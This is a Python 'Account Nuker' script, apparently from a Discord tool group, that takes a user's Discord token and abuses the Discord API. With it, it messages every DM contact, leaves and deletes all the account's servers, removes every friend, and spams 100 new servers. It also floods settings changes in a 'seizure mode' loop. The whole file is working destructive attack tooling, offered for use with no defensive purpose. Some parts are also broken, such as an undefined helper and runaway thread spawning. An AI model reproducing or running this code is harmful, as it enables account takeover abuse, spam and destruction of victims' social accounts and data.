import os import sys import time import requests import threading import random from itertools import cycle from colorama import Fore # Function to set the console title def setTitle(title): if os.name == 'nt': os.system(f'title {title}') # Function to clear the console def clear(): if os.name == 'nt': os.system('cls') else: os.system('clear') os.system('Capware Solutions [.gg/capware]') # Function to display the title for the account nuker def accountnukertitle(): print(Center.XCenter(f""" {Fore.WHITE} ██████╗ █████╗ ██████╗ {Fore.LIGHTBLUE_EX}██╗ ██╗ █████╗ ██████╗ ███████╗ {Fore.WHITE}██╔════╝██╔══██╗██╔══██╗{Fore.LIGHTBLUE_EX}██║ ██║██╔══██╗██╔══██╗██╔════╝ {Fore.WHITE}██║ ███████║██████╔╝{Fore.LIGHTBLUE_EX}██║ █╗ ██║███████║██████╔╝█████╗ {Fore.WHITE}██║ ██╔══██║██╔═══╝ {Fore.LIGHTBLUE_EX}██║███╗██║██╔══██║██╔══██╗██╔══╝ {Fore.WHITE}╚██████╗██║ ██║██║ {Fore.LIGHTBLUE_EX}╚███╔███╔╝██║ ██║██║ ██║███████╗ {Fore.WHITE} ╚═════╝╚═╝ ╚═╝╚═╝ {Fore.LIGHTBLUE_EX} ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ Version : 1.0.0 Author : Capware Solutions Link : https://discord.gg/capware """)) def accnuke(): def nuke(usertoken, Server_Name, message_Content): def CustomSeizure(token): print(f'{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Starting seizure mode (Switching on/off Light/dark mode)') t = threading.currentThread() while getattr(t, "do_run", True): modes = cycle(["light", "dark"]) setting = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} requests.patch("https://discord.com/api/v7/users/@me/settings", headers={'Authorization': usertoken}, json=setting) if threading.active_count() <= 100: t = threading.Thread(target=CustomSeizure, args=(usertoken,)) t.start() headers = {'Authorization': usertoken} channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers={'Authorization': usertoken}).json() print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Sent a Message to all available friends") for channel in channelIds: try: requests.post(f'https://discord.com/api/v9/channels/' + channel['id'] + '/messages', headers=headers, data={"content": f"{message_Content}"}) print(f"\t{Fore.YELLOW}[{Fore.GREEN}!{Fore.YELLOW}]{Fore.WHITE} Messaged ID: " + channel['id']) except Exception as e: print( f"""\t{Fore.YELLOW}[{Fore.RED}!{Fore.YELLOW}]{Fore.WHITE} The following error has been encountered and is being ignored: {e}""") print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Left all available guilds") guildsIds = requests.get("https://discord.com/api/v7/users/@me/guilds", headers={'Authorization': usertoken}).json() for guild in guildsIds: try: requests.delete( f'https://discord.com/api/v7/users/@me/guilds/' + guild['id'], headers={'Authorization': usertoken}) print(f"\t{Fore.YELLOW}[{Fore.GREEN}!{Fore.YELLOW}]{Fore.WHITE} Left guild: " + guild['name']) except Exception as e: print( f"""\t{Fore.YELLOW}[{Fore.RED}!{Fore.YELLOW}]{Fore.WHITE} The following error has been encountered and is being ignored: {e}""") print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Deleted all available guilds") for guild in guildsIds: try: requests.delete(f'https://discord.com/api/v7/guilds/' + guild['id'], headers={'Authorization': usertoken}) print(f'\t{Fore.YELLOW}[{Fore.GREEN}!{Fore.YELLOW}]{Fore.WHITE} Deleted guild: ' + guild['name']) except Exception as e: print( f"""\t{Fore.YELLOW}[{Fore.RED}!{Fore.YELLOW}]{Fore.WHITE} The following error has been encountered and is being ignored: {e}""") print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Removed all available friends") friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", headers={'Authorization': usertoken}).json() for friend in friendIds: try: requests.delete( f'https://discord.com/api/v9/users/@me/relationships/' + friend['id'], headers={'Authorization': usertoken}) print( f"\t{Fore.YELLOW}[{Fore.GREEN}!{Fore.YELLOW}]{Fore.WHITE} Removed friend: " + friend['user']['username'] + "#" + friend['user']['discriminator']) except Exception as e: print( f"""\t{Fore.YELLOW}[{Fore.RED}!{Fore.YELLOW}]{Fore.WHITE} The following error has been encountered and is being ignored: {e}""") print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Created all servers") for i in range(100): try: payload = {'name': f'{Server_Name}', 'region': 'europe', 'icon': None, 'channels': None} requests.post('https://discord.com/api/v7/guilds', headers={'Authorization': usertoken}, json=payload) print(f"\t{Fore.YELLOW}[{Fore.GREEN}!{Fore.YELLOW}]{Fore.WHITE} Created {Server_Name} #{i}") except Exception as e: print( f"""\t{Fore.YELLOW}[{Fore.RED}!{Fore.YELLOW}]{Fore.WHITE} The following error has been encountered and is being ignored: {e}""") t.do_run = False setting = { 'theme': "light", 'locale': "ja", 'message_display_compact': False, 'inline_embed_media': False, 'inline_attachment_media': False, 'gif_auto_play': False, 'render_embeds': False, 'render_reactions': False, 'animate_emoji': False, 'convert_emoticons': False, 'enable_tts_command': False, 'explicit_content_filter': '0', 'status': "idle" } requests.patch("https://discord.com/api/v7/users/@me/settings", headers={'Authorization': usertoken}, json=setting) j = requests.get("https://discordapp.com/api/v9/users/@me", headers={'Authorization': usertoken}).json() a = j['username'] + "#" + j['discriminator'] print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Successfully turned {a} into a hole") input(f"""\n{Fore.YELLOW}[{Fore.BLUE}#{Fore.YELLOW}]{Fore.WHITE} Press ENTER to exit""") sys.exit() print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Name of the servers that will be created") Server_Name = str(input(f'{Fore.YELLOW}[{Fore.BLUE}#{Fore.YELLOW}]{Fore.WHITE} Name: ')) print(f"\n{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Message that will be sent to every friend: ") message_Content = str(input(f'{Fore.YELLOW}[{Fore.BLUE}#{Fore.YELLOW}]{Fore.WHITE} Message: ')) r = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': usertoken}) threads = 100 if threading.active_count() < threads: threading.Thread(target=nuke, args=(usertoken, Server_Name, message_Content)).start() return if __name__ == "__main__": setTitle("Account Nuker") clear() accountnukertitle() print(f"""{Fore.YELLOW}[{Fore.WHITE}+{Fore.YELLOW}]{Fore.WHITE} Enter account token you want to nuke""") usertoken = str(input(f"""{Fore.YELLOW}[{Fore.BLUE}#{Fore.YELLOW}]{Fore.WHITE} Token: """)) accnuke()